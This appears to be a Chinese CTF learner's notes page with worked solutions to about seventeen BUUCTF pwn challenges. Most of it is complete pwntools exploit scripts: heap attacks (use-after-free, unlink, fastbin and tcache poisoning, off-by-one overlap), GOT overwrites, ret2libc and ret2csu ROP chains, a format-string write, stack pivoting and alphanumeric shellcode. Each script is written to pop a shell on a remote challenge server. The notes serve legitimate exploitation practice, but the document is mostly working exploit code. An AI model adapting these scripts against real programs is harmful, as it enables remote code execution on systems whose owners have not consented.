buu第三页笔记
1、ciscn_2019_n_3
32位,RELRO半开,Canary开了,NX开了,ida打开看看,libc是2.27,有tcache
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./ciscn_2019_n_3" #p=process(pwn) p=remote("node5.buuoj.cn",28530) elf=ELF(pwn) #--------------------------------------------------------------------------------------------------- #libc=ELF("//home/casual/Desktop/buu/libc-i-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so") def create(index,type_f,size,context): p.sendlineafter("CNote > ",str(1)) p.sendlineafter("Index > ",str(index)) p.sendlineafter("Type > ",str(type_f)) p.sendlineafter("Length > ",str(size)) p.sendlineafter("Value > ",context) def delete(index): p.sendlineafter("CNote > ",str(2)) p.sendlineafter("Index > ",str(index)) def show(index): p.sendlineafter("CNote > ",str(3)) p.sendlineafter("Index > ",str(index)) create(0,2,0x20,b'aaaa') create(1,2,0x20,b'bbbb') delete(0) delete(1) create(2,2,0xc,b'sh\x00\x61'+p32(elf.plt['system'])) #使我们能更改的内容为chunk0 的0xc大小的chunk,将free的指针指向system函数,利用uaf漏洞再次free(sh)==>system(sh) delete(0) #debug() #pause() p.interactive()
2、babyfengshui_33c3_2016
32位,RELRO半开,Canary,NX保护,ida打开看看,漏洞点在EDIT函数处,能溢出四个字节,且该函数的计算堆块大小是根据名称和内容的指针地址的差值进行计算
create(0x80,b'a',0x80,b'a') #chunk0
create(0x80,b'a',0x80,b'a') #chunk1
create(0x10,b'/bin/sh\x00',0x10,b'/bin/sh\x00') #chunk 3
delete(0) #将两个大于fastbin接受的chunk释放,会进行合并,得到0x110大小的chunk,
create(0x100,b'a',0x10,b'a') #chunk0 -> chunk 3 这是直接再malloc一个0x100大小的chunk,就会将name chunk 和内容 chunk 的距离拉开,就能对中间的chunk进行堆溢出
中间的chunk就能作为堆溢出,通过EDIT函数,同时通过下图可以看到,固定申请的0x80大小的chunk存放着自定义大小堆块内容的指针,我们就把chunk1的指针改为got表的函数
EXP:
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./babyfengshui_33c3_2016" #p=process(pwn) p=remote("node5.buuoj.cn",25011) elf=ELF(pwn) #--------------------------------------------------------------------------------------------------- libc=ELF("/home/casual/Desktop/buu/libc-i-16-2.23.so") def create(nsize,name,tsize,text): p.sendlineafter("Action: ",str(0)) p.sendlineafter("size of description: ",str(nsize)) p.sendlineafter("name: ",name) p.sendlineafter("text length: ",str(tsize)) p.sendlineafter("text: ",text) def delete(index): p.sendlineafter("Action: ",str(1)) p.sendlineafter("index: ",str(index)) def show(index): p.sendlineafter("Action: ",str(2)) p.sendlineafter("index: ",str(index)) def edit(index,tsize,context): p.sendlineafter("Action: ",str(3)) p.sendlineafter("index: ",str(index)) p.sendlineafter("text length: ",str(tsize)) p.sendlineafter("text: ",context) create(0x80,b'a',0x80,b'a') create(0x80,b'a',0x80,b'a') create(0x10,b'/bin/sh\x00',0x10,b'/bin/sh\x00') delete(0) create(0x100,b'a',0x10,b'a') edit(3,0x19c,b'\x00'*0x198+p32(elf.got['free'])) show(1) libcbase=u32(p.recvuntil(b'\xf7')[-4:])-libc.sym['free'] free=libcbase+libc.sym['free'] sys_addr=libcbase+libc.sym['system'] edit(1,0x4,p32(sys_addr)) delete(2) #debug() #pause() p.interactive()
3、0ctf_2017_babyheap
这道题前面已经做过一种fastdup和__malloc_hook的结合做法,下面两种做法算是补充
2、__realloc_hook
realloc=libcbase+libc.sym['realloc']
edit(6,0x1b,b'a'*0xb+p64(one)+p64(realloc+8))
3、__free_hook
在__free_hook的-0xb58有一个足够大的数据来伪造chunk,这个利用条件就是必须让堆能够溢出这么多字节的内存,直到距离这么远才看见一个这么大的数字
edit(6,0x83,b'a'3+p64(0)15+p64(free_hook-0xb58))
之后怎么找topchunk在main_arena 的指针,就对照当时的heap发现在小方框地址,后面就是正常的__free_hook了,就是分配的内存比较大
create(0xb30) #index 7
edit(7,8,b'/bin/sh\x00')
create(0x20)
edit(8,0x10,p64(0)+p64(sys_addr)) #对齐__free_hook函数地址
free(7)
4、hitcon2014_stkof
64位,RELRO半开,Canary开了,NX开了,ida打开,结果是无菜单堆题,少了打印功能
ptr=0x602160 create(0x20) create(0x30) create(0x80) create(0x10)
在动调的时候发现,程序会固定申请两个我们利用不了的chunk,那就不管,且申请的第一个chunk会夹在两个固定chunk的中间,则随便申请一个小chunk,之后申请的两个chunk进行unlink,最后一个chunk的申请用来阻断top chunk 的合并,且发现chunk的fd地址会存放在0x602140,则通过edit函数的堆溢出进行unlink,去得到bss段上指针的控制权,再去调用puts函数泄露libc的地址
payload=p64(0)+p64(0x30)+p64(ptr-0x18)+p64(ptr-0x10)+p64(0)*2+p64(0x30)+p64(0x90) edit(2,payload) delete(3) #unlink
可以看到成功unlink,接下来就是构造puts_plt==>free@got , chunk1 ==> chunk3fd , puts_plt(puts_got)
payload=b'a'*0x18+p64(ptr+8)+p64(elf.got['free']) edit(2,payload) edit(3,p64(elf.plt['puts'])) edit(2,p64(elf.got['puts'])) delete(3) p.recvline() libcbase=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['puts'] print(hex(libcbase))
接下来就是直接调用one_gadget
ogg=libcbase+0x45226 edit(2,p64(elf.got['puts'])) edit(3,p64(ogg))
EXP: from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./stkof" p=process(pwn) p=remote("node5.buuoj.cn",29954) elf=ELF(pwn) #--------------------------------------------------------------------------------------------------- libc=ELF("//home/casual/Desktop/buu/libc-a-16-2.23.so") def create(size): p.sendline(b'1') p.sendline(str(size)) p.recvuntil("OK\n") def delete(index): p.sendline(b'3') p.sendline(str(index).encode()) def show(): p.sendline(b'4') p.recvuntil("OK\n") def edit(index,context): p.sendline(str(2)) p.sendline(str(index).encode()) p.sendline(str(len(context))) p.send(context) p.recvuntil("OK\n") ptr=0x602140+0x10 create(0x30) 随意malloc一个,后续无用 create(0x30) create(0x80) create(0x30) #防止topchunk合并 payload=p64(0)+p64(0x30)+p64(ptr-0x18)+p64(ptr-0x10)+p64(0)*2+p64(0x30)+p64(0x90) edit(2,payload) delete(3) #unlink payload=b'a'*0x18+p64(ptr+8)+p64(elf.got['free']) edit(2,payload) edit(3,p64(elf.plt['puts'])) edit(2,p64(elf.got['puts'])) delete(3) p.recvline() libcbase=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['puts'] print(hex(libcbase)) ogg=libcbase+0x45216 edit(2,p64(elf.got['puts'])) edit(3,p64(ogg)) #debug() #pause() p.interactive()
5、pwnable_hacknote
32为,RELRO半开,canary开了,NX开了,ida打开看看
同时bss段上记录的指针指向的地址是0x8chunk的fd指针地址,但是0x8大小的chunk存放的是puts函数的地址(固定的)可以通过动调确定,且还有自定义大小的chunk的地址
存在uaf漏洞, create(0x20) create(0x20) 先去看看puts函数的地址,
delete(0) delete(1) create(0x8,p32(ptr)+p32(elf.got['puts'])) 构造如下图所示的结构,让我们malloc的第三个chunk的能控制chunk的chunk与chunk0的0x8的chunk重叠并利用
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./hacknote" #p=process(pwn) p=remote("node5.buuoj.cn",29205) elf=ELF(pwn) #--------------------------------------------------------------------------------------------------- libc=ELF("//home/casual/Desktop/buu/libc-i-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so") def create(size,context=b'aaaa'): p.sendlineafter("choice :",str(1)) p.sendlineafter("Note size :",str(size)) p.sendafter("Content :",context) def delete(index): p.sendlineafter("choice :",str(2)) p.sendlineafter("Index :",str(index)) def show(index): p.sendlineafter("choice :",str(3)) p.sendlineafter("Index :",str(index)) ptr=0x804862b create(0x20) create(0x20) delete(0) delete(1) create(0x8,p32(ptr)+p32(elf.got['puts'])) show(0) libcbase=u32(p.recv(4))-libc.sym['puts'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] bin_sh=libcbase+next(libc.search(b'/bin/sh\x00')) delete(2) create(0x8,p32(sys_addr)+b';sh\x00') show(0) #debug() #pause() p.interactive()
6、jarvisoj_level5
64位,只开了NX保护,动态链接,ida打开看看
显然ret2libc3,64位,找gadget
Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./level3_x64"
#p=process(pwn)
p=remote("node4.buuoj.cn",29766)
elf=ELF(pwn)
rdi=0x4006b3
rsi_r15=0x4006b1
ret=0x400499
payload=b'a'*0x88+p64(rdi)+p64(0x1)+p64(rsi_r15)+p64(elf.got['write'])+p64(0)+p64(elf.sym['write'])+p64(elf.sym['main'])
p.recv()
p.send(payload)
write_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(write_addr))
libc=ELF("./libc-2.23-x64.so")
libcbase=write_addr-libc.sym['write']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
payload=b'a'*0x88+p64(ret)+p64(rdi)+p64(bin_sh)+p64(sys_addr)
p.send(payload)
p.interactive()
8、ciscn_2019_es_7
64位,RELRO半开,NX保护开了,动态链接,ida打开看看,主函数就一个vuln函数,栈溢出很明显,有可能是ret2libc3也可以是syscall
OK,ret2libc3不行,转战syscall
找到一些有用的gadget
因为要让rdx==0,rcx==0,且ropgadget无这些,所以借助ret2-csu
跟第一页的一道题一模一样
本地Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./ciscn_2019_es_7"
p=process(pwn)
#p=remote("node4.buuoj.cn",29766)
elf=ELF(pwn)
#gdb.attach(p,'b *0x400519')
#pause()
rdi=0x4005a3
rsi_r15=0x4005a1
ret=0x4003a9
rbx_rbp_r12_r13_r14_r15=0x40059A
r13_rdx=0x400580
rax_0x3b=0x4004E2
syscall=0x400517
payload=b'a'*0x10+p64(elf.sym['vuln'])
p.send(payload)
p.recv(0x20)
stack=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(stack))
bin_sh=stack-0x148
#pause()
payload=b'/bin/sh\x00'+b'a'*8+p64(rbx_rbp_r12_r13_r14_r15)
payload+=p64(0)+p64(0x1)+p64(bin_sh+0xb8)+p64(0)+p64(0)+p64(0)+p64(r13_rdx)+p64(0)*7 #rdx==0
payload+=p64(rdi)+p64(bin_sh)+p64(rsi_r15)+p64(0)+p64(0) #rdi ==/bin_sh rsi==0
payload+=p64(rax_0x3b)+p64(syscall) #rax==0x3b syscall
p.sendline(payload)
p.interactive()
远程Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./ciscn_2019_es_7"
#p=process(pwn)
p=remote("node4.buuoj.cn",25744)
elf=ELF(pwn)
#gdb.attach(p,'b *0x400519')
#pause()
rdi=0x4005a3
rsi_r15=0x4005a1
ret=0x4003a9
rbx_rbp_r12_r13_r14_r15=0x40059A
r13_rdx=0x400580
rax_0x3b=0x4004E2
syscall=0x400517
payload=b'a'*0x10+p64(elf.sym['vuln'])
p.send(payload)
p.recv(0x20)
stack=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(stack))
bin_sh=stack-0x118
#pause()
payload=b'/bin/sh\x00'+b'a'*8+p64(rbx_rbp_r12_r13_r14_r15)
payload+=p64(0)+p64(0x1)+p64(bin_sh+0x5)+p64(0)+p64(0)+p64(0)+p64(r13_rdx) #rdx==0
payload+=p64(rdi)+p64(bin_sh)+p64(rsi_r15)+p64(0)+p64(0) #rdi ==/bin_sh rsi==0
payload+=p64(rax_0x3b)+p64(syscall) #rax==0x3b syscall
p.sendline(payload)
p.interactive()
9、mrctf2020_shellcode_revenge
64位,RELRO全开,PIE开启,动态链接文件,ida看看,需要纯字符 shellcode
Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./mrctf2020_shellcode_revenge"
#p=process(pwn)
p=remote("node4.buuoj.cn",27166)
elf=ELF(pwn)
payload=b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
p.send(payload)
p.interactive()
10、cmcc_pwnme2
32位,RELRO半开,NX保护开了,ida打开看看
这一看又是套娃,观察这几个函数要先使exec_string函数的&string地址上值改成/home/flag,覆盖返回地址后的调用函数的顺序就是add_home,add_flag,exec_string,有一个gets函数栈溢出,但是s的地址比ret地址高0x4个,也就是不能覆盖返回地址,但是userfunction函数会把输入的s复制给dest,且dest距离ebp有0x6c个字节,能覆盖返回地址那接下来就是构造rop链.
ebp=0x08048680
flag=0x08048682
home=0x08048644
a1=0xDEADBEEF
a2=0xCAFEBABE
a3=0xABADF00D
string=0x80485CB
payload=b'a'*0x70+p32(home)+p32(ebp)+p32(a2)+p32(a3)+p32(flag)+p32(string)+p32(a1)
p.recv()
可是buu 上的 flag 基本都是放在根目录下的 flag 和 flag.txt 文件里。只能ret2libc3,栈溢出是发生在 strcpy 那里的,不要有 p32(0) ,不然复制着就断了,然后最后 system('/bin/sh') 的时候要跳转回一个正常的地址,不然无法打通
Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./pwnme2"
#p=process(pwn)
p=remote("node4.buuoj.cn",25876)
#gdb.attach(p,'b *0x80486F7')
#pause()
elf=ELF(pwn)
payload=b'a'*0x70+p32(elf.sym['puts'])+p32(elf.sym['main'])+p32(elf.got['puts'])
p.recv()
p.sendline(payload)
p.recvline()
puts_addr=u32(p.recv(4))
print(hex(puts_addr))
libc=ELF("./libc-2.23.so")
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
print(hex(libcbase))
p.recv()
payload=b'a'*0x70+p32(sys_addr)+p32(elf.sym['main'])+p32(bin_sh)
p.sendline(payload)
#pause()
p.interactive()
看了学长的博客,还有一种解法,直接把读取的string的bss段的值改为flag这个字符串在执行exec_string函数,通过gets函数修改,tql
from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./pwnme2"
#p=process(pwn)
p=remote("node4.buuoj.cn",25876)
#gdb.attach(p,'b *0x80486F7')
#pause()
elf=ELF(pwn)
string = 0x0804A060
payload = b'a'*0x70 + p32(elf.sym['gets']) + p32(elf.sym['exec_string']) + p32(string)
p.recv()
p.sendline(payload)
p.sendline(b'flag')
print(p.recv())
p.interactive()
11、picoctf_2018_got_shell
32位,NX保护,动态编译,看运行的样子好像是任意地址写入?ida打开看看,有后门函数
把puts的plt改为win的地址,因为这个主函数到最后使直接调用exit函数的
Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./PicoCTF_2018_got-shell"
#p=process(pwn)
p=remote("node4.buuoj.cn",28013)
#gdb.attach(p,'b *0x80486F7')
#pause()
elf=ELF(pwn)
payload=str(hex(elf.got['puts']))
p.recv()
p.sendline(payload)
payload=str(hex(elf.sym['win']))
p.recv()
p.sendline(payload)
p.interactive()
12、mrctf2020_easy_equation
64位,RELRO半开,NX保护,动态链接,ida看看
就是简单的栈溢出,跳过判断直接执行,简单粗暴
Exp: from struct import pack from LibcSearcher import * from pwn import * #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) pwn="./mrctf2020_easy_equation" #p=process(pwn) p=remote("node4.buuoj.cn",26392) #gdb.attach(p,'b *0x80486F7') #pause() elf=ELF(pwn) sys_addr=0x4006D0 payload=b'a'*9+p64(sys_addr) p.sendline(payload) p.interactive()
13、roarctf_2019_easy_pwn
64位,保护全开,漏洞点在下图的修改函数处
我们要修改的chunk的大小改为原大小+10则可以进行off by one 漏洞利用
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./roarctf_2019_easy_pwn" #p=process(pwn) p=remote("node5.buuoj.cn",27912) elf=ELF(pwn) libc=ELF("//home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- def create(size): p.sendlineafter("choice: ",str(1)) p.sendlineafter("size: ",str(size)) def edit(index,size,context): p.sendlineafter("choice: ",str(2)) p.sendlineafter("index: ",str(index)) p.sendlineafter("size: ",str(size)) p.sendlineafter("content: ",context) def delete(index): p.sendlineafter("choice: ",str(3)) p.sendlineafter("index: ",str(index)) def show(index): p.sendlineafter("choice: ",str(4)) p.sendlineafter("index: ",str(index)) create(0x18) #chunk 0 create(0x10) #chunk 1 create(0x80) #chunk 2 create(0x10) #chunk 3 edit(0,0x18+10,b'a'*0x18+p8(0xb1)) #在这里size+10获得+1字节的修改 delete(1) create(0xa0) #chunk 1 edit(1,0x20,p64(0)*3+p64(0x91)) #因为创建堆块用的函数是calloc,则还需要进行还原chunk2的size位 delete(2) show(1) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-88-0x10-libc.sym['__malloc_hook'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] ogg=libcbase+0x4526a realloc=libcbase+libc.sym['realloc'] create(0x60) #chunk 2 create(0x60) #chunk 4 delete(4) delete(2) edit(1,0x28,p64(0)*3+p64(0x71)+p64(libcbase+libc.sym['__malloc_hook']-0x23)) create(0x60) #chunk 2 create(0x60) #chunk 4 edit(4,0x13+8,b'a'*(0x13-8)+p64(ogg)+p64(realloc)) create(0x10) #debug() #pause() p.interactive()
13、wdb_2018_2nd_easyfmt
32位,RELRO半开,NX保护,动态链接,ida打开
很明显的格式化字符串漏洞,但是会陷入循环,目前的思路就是靠格式化字符串漏洞泄露read函数或者puts函数got地址计算偏移,获得system函数地址和"/bin/sh\x00"的地址,再把printf函数got的地址改为system函数地址执行shell,先计算偏移为6
利用pwntools的pwnlib.fmtstr模块,把printf的got地址改为libc中system函数地址
Exp: from struct import pack from LibcSearcher import * from pwn import * #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) pwn="./wdb_2018_2nd_easyfmt" #p=process(pwn) p=remote("node4.buuoj.cn",26277) elf=ELF(pwn) #gdb.attach(p,'b *0x80485A0') #pause() p.recv() payload=p32(elf.got['puts'])+b'%6$s' p.sendline(payload) p.recv(4) puts_addr=u32(p.recv(4)) payload=p32(elf.got['printf'])+b'%6$s' p.sendline(payload) p.recv(4) printf_addr=u32(p.recv(4)) libc=ELF("./libc-2.23.so") libcbase=puts_addr-libc.sym['puts'] sys_addr=libcbase+libc.sym['system'] print(hex(libcbase)) payload=fmtstr_payload(6,{elf.got['printf']:sys_addr}) p.sendline(payload) p.recv() p.sendline(b'/bin/sh\x00') p.interactive()
14、picoctf_2018_can_you_gets_me
32位,RELRO半开,NX保护开启,静态编译文件,ida打开看看
栈溢出,字符串无system函数,无flag,感觉是syscall,ROPgadget看看可以先ropchain
Exp: from LibcSearcher import * from pwn import * from struct import pack #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) pwn="./PicoCTF_2018_can-you-gets-me" p=process(pwn) #p=remote("node4.buuoj.cn",26392) #gdb.attach(p,'b *0x80486F7') #pause() elf=ELF(pwn) def get_payload(): p = b'a'*0x1c p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b81c6) # pop eax ; ret p += b'/bin' p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b81c6) # pop eax ; ret p += b'//sh' p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049303) # xor eax, eax ; ret p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de955) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049303) # xor eax, eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0806cc25) # int 0x80 return p payload=get_payload() p.recv() p.sendline(payload) p.interactive()
15、npuctf_2020_easyheap
64位,RELRO半开,canary,NX保护开了,ida打开看看
主要漏洞在上图的读入chunk内容的函数,off by one,且申请chunk的函数有限制,只能申请0x18或者0x38大小的chunk,且先会malloc一个0x10大小的chunk,且自己能控制的大小的chunk的指针存放在0x10大小的chunk的地址+8位置处,则利用off by one 进行overlapping。拓展已经使用的chunk的大小
create(0x18,b'a') #chunk 0
create(0x18,b'a') #chunk 1
edit(0,p64(0)*3+p8(0x41))
delete(1)
如上图再申请一个0x38大小的chunk,则就能控制0x20大小的chunk(为原先不能控制的chunk,存放了0x40大小chunk的指针)
Exp: from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./npuctf_2020_easyheap" #p=process(pwn) p=remote("node5.buuoj.cn",29817) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #--------------------------------------------------------------------------------------------------- def create(size,context): p.sendlineafter("Your choice :",str(1)) p.sendlineafter("0x20 only) : ",str(size)) p.sendlineafter("Content:",context) def edit(index,context): p.sendlineafter("Your choice :",str(2)) p.sendlineafter("Index :",str(index)) p.sendlineafter("Content:",context) def show(index): p.sendlineafter("Your choice :",str(3)) p.sendlineafter("Index :",str(index)) def delete(index): p.sendlineafter("Your choice :",str(4)) p.sendlineafter("Index :",str(index)) create(0x18,b'a') #chunk 0 create(0x18,b'a') #chunk 1 edit(0,p64(0)*3+p8(0x41)) delete(1) create(0x38,p64(0)*3+p64(0x21)+p64(0xa)+p64(elf.got['atoi']))#chunk 1 show(1) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['atoi'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] edit(1,p64(sys_addr)) p.sendafter("Your choice :",b'sh\x00\x00') #debug() #pause() p.interactive()
16、hitcontraining_bamboobox
64位,RELRO半开,canary,nx保护开了,ida打开看看
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./bamboobox" p=process(pwn) #p=remote("node5.buuoj.cn",29235) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- def show(): p.sendlineafter("Your choice:",str(1)) def create(size,context=b'a'): p.sendlineafter("Your choice:",str(2)) p.sendlineafter("length of item name:",str(size)) p.sendafter("name of item:",context) def edit(index,context): p.sendlineafter("Your choice:",str(3)) p.sendlineafter("the index of item:",str(index)) p.sendlineafter("length of item name:",str(len(context)).encode()) p.sendafter("the new name of the item:",context) def delete(index): p.sendlineafter("Your choice:",str(4)) p.sendlineafter("the index of item:",str(index)) create(0x10) #chunk 0 create(0x60) #chunk 1 create(0x60) #chunk 2 create(0x10) #chunk 3 fake=0x6020ad delete(2) delete(1) edit(0,p64(0)*3+p64(0x71)+p64(fake)) create(0x60) #chunk 1 create(0x60,b'a'*0xb+p64(elf.got['atoi'])) #chunk 2 ->fake 修改chunk的指针 show() libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['atoi'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] edit(0,p64(sys_addr)) p.sendlineafter("Your choice:",b'/bin/sh\x00') #debug() #pause() p.interactive()
17、suctf_2018_basic pwn
64位,RELRO全开,NX保护,动态编译,ida打开看看
就是简单栈溢出,劫持返回地址
Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./SUCTF_2018_basic_pwn"
p=process(pwn)
p=remote("node4.buuoj.cn",25960)
#gdb.attach(p,'b *0x80486F7')
#pause()
elf=ELF(pwn)
shel=0x401157
payload=b'a'*0x118+p64(shel)
p.sendline(payload)
p.interactive()
18、actf_2019_babystack
64位,RELRO半开,NX保护,动态编译,ida打开
最多能覆盖到ret的地址,那应该就是栈迁移了,而且printf函数已经把栈上的地址打印出来了,接受就行,无后门函数,那就是栈迁移加ret2libc3
ROPgadget找一下,64位寄存器传参,利用puts函数泄露libcbase,同时要注意返回主函数时栈的地址改变了,要再接收一遍栈地址
Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./ACTF_2019_babystack"
#p=process(pwn)
p=remote("node4.buuoj.cn",25543)
#gdb.attach(p,'b *0x400A09')
#pause()
elf=ELF(pwn)
rdi=0x400ad3
rsi_r15=0x400ad1
ret=0x400709
leave=0x400A18
main=0x4008F6
p.sendlineafter(">",str(224))
p.recvuntil("saved at ")
stack=int(p.recv(14),16)
print(hex(stack))
payload=b'a'*8+p64(rdi)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(main)
payload=payload.ljust(208,b'a')
payload+=p64(stack)+p64(leave)
p.sendafter(">",payload)
p.recvline()
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print(hex(libcbase))
p.sendlineafter(">",str(224))
p.recvuntil("saved at ")
stack=int(p.recv(14),16)
print(hex(stack))
p.recv()
payload=b'a'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(sys_addr)
payload=payload.ljust(208,b'a')
payload+=p64(stack)+p64(leave)
p.send(payload)
#pause()
p.interactive()
